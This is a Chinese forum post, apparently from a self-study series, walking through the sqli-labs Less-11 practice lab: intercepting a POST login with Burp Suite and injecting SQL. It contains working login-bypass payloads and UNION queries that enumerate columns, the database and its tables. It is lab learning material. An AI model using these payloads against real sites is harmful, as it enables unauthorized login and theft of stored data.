小菜鸟一枚 发表于 2021-10-2 07:47

学破解第145天,《Less-11 POST型基于burp suite提交注入》学习

## 学破解第145天,《Less-11 POST型基于burp suite提交注入》学习
前言:
  从小学到大专(计算机网络技术专业),玩过去的,所以学习成绩惨不忍睹,什么证书也没考,直到找不到工作才后悔,不知道怎么办才好。

  2017年12月16日,通过19元注册码注册论坛账号,开始做伸手党,潜水一年多,上来就是找软件。(拿论坛高大上的软件出去装X)

  2018年8月10日,报名了华中科技大学网络教育本科(计算机科学与技术专业)2018级秋季。(开始提升学历)

  2019年6月17日,不愿再做小菜鸟一枚,开始零基础学习破解。(感谢小糊涂虫大哥在我刚开始学习脱壳时,录制视频解答我的问题)

  2020年7月7日,感谢H大对我的鼓励,拥有了第一篇获得优秀的文章。(接下来希望学习逆向,逆天改命)

  2021年8月11日,华科学位英语2次不过,仅取得了毕业证书,学业提升失败,开始琢磨考注册类和职称类证书,谋求涨薪

  坛友们,年轻就是资本,和我一起逆天改命吧,我的学习过程全部记录及学习资源:(https://www.52pojie.cn/thread-1503734-1-1.html)
立帖为证!--------记录学习的点点滴滴

### 0x1 Less-3 初步试探
  1.同样打开index文件源码看到:
```
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
```
根据前面的知识可以知道很明显这是单引号注入。

  2.一样在前面加上这两句代码,把我们注入的sql打印出来,方便分析学习。
```
echo $sql;
echo "<br/>";
```

&emsp;&emsp;3.点开第11关看看:
!(https://z3.ax1x.com/2021/10/01/47fZ4J.png)
发现是表单类型的,需要填写表单,不能再像get请求那样直接地址栏提交数据了。

&emsp;&emsp;4.随便输入1'和1,出现了错误提示。
输出:
SELECT username, password FROM users WHERE username='1'' and password='1' LIMIT 0,1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' LIMIT 0,1' at line 1

试试get方式提交:
(http://192.168.32.129:8888/sqli-labs-master/Less-11/?username=1%27%20and%20password=1)
没动静,看样子是不行了。

但是通过表单提交后的报错信息可以知道这是单引号注入。

### 0x2 实战打靶
&emsp;&emsp;1.前面学习了使用burp爆破,这里使用它的另一个功能,发送post请求。

&emsp;&emsp;2.还是用户名输入1',密码输入1,点击页面时的submit,这时候请求被拦截了,看看截获的数据包:
```
POST /sqli-labs-master/Less-11/ HTTP/1.1
Host: 192.168.32.129:8888
Content-Length: 33
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.32.129:8888
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.32.129:8888/sqli-labs-master/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

uname=1%27&passwd=1&submit=Submit
```
看第一行post请求,最下面传递的参数uname=1%27&passwd=1,看到参数名没有uname和passwd难怪get请求不管用的。

&emsp;&emsp;3.CTRL+R,send to repeator,然后菜单栏找到repeator点开,因为前面已经分析出是单引号注入,那么试试绕过登录。
1)要想绕过登录,那么就必须让闭合的语句执行为TRUE。
2)我们输入的用户名或者密码肯定不对,要想为真,那么只能使用or逻辑运算符了,只要有一个条件为真,那么整个语句就会执行。
接下来就按照这个思路试试行不行。

&emsp;&emsp;4.利用用户名注入:
构造参数:uname=1%27+or+1%3D1%23&passwd=1&submit=Submit
说明:+在url编码中是空格

输出:
!(https://z3.ax1x.com/2021/10/01/47oJ1J.png)

&emsp;&emsp;5.利用密码注入:
构造参数:uname=1&passwd=1%27+or+1%3D1%23&submit=Submit
输出:
!(https://z3.ax1x.com/2021/10/01/47oRBt.png)

&emsp;&emsp;6.可以看到注入都是成功的,绕过了登录密码,第二个大家可能有疑问,为什么也能注入成功,去PHPmyadmin执行下SQL语句,看到了吗?全都查询出来了,前面and,后面有一个or成立也是可以的。
!(https://z3.ax1x.com/2021/10/01/47TRxJ.png)

&emsp;&emsp;7.那么我们也可以用户名输入1' or 1=1 LIMIT 2,1#,密码随便输入,得到第三个用户的账户和密码,复习LIMIT的用法。

&emsp;&emsp;8.也可以按照以前的办法,利用回显得到我们需要的信息:
1)查找列:
1' or 1=1 order by 1#
1' or 1=1 order by 2#
1' or 1=1 order by 3#,报错了:Unknown column '3' in 'order clause'
说明只有两列。

2)查当前数据库:用户名输入1' union select 1,database()#,点击提交显示:
Your Login name:1
Your Password:security

3)查看当前数据库下的表:用户名输入table_name from information_schema.tables where table_schema='security'
Your Login name:1
Your Password:emails

4)接下来可以通过limit查询,也能使用其他函数查询更多信息了,和前面方法一样。

### 0x3 总结
&emsp;&emsp;1.post提交,地址栏就不会显示提交的参数名了,这个时候就不能直接get提交了。
&emsp;&emsp;2.使用burp suite可以拦截数据包,得到参数名等信息,也可以利用它修改参数直接发送post请求了。

### 0x4 参考资料
&emsp;&emsp;1.(https://blog.csdn.net/weixin_43102772/article/details/104436029)

&emsp;&emsp;**PS:善于总结,善于发现,找到分析问题的思路和解决问题的办法。虽然我现在还是零基础的小菜鸟一枚,也许学习逆向逆天改命我会失败,但也有着成功的可能,只要还有希望,就决不放弃!**

让IP飘一会 发表于 2021-10-2 07:52

ishnan 发表于 2021-10-2 09:31

板凳板凳

visaction 发表于 2021-10-2 10:09

加油,看到了你的努力,我们一起进步,共同努力。

p0weredBy 发表于 2021-10-2 10:42

楼主加油~~~

dukeimp 发表于 2021-10-2 10:50

沙发沙发

sdi 发表于 2021-10-2 11:04

坚持就是胜利,加油

szmsys 发表于 2021-10-2 13:30

厉害,希望为广大穷苦人家做点好事

PpaPingggg 发表于 2021-10-2 14:51

可以很强

展大锤 发表于 2021-10-3 01:07

同在努力的考本科,共勉。
页: [1] 2 3
查看完整版本: 学破解第145天,《Less-11 POST型基于burp suite提交注入》学习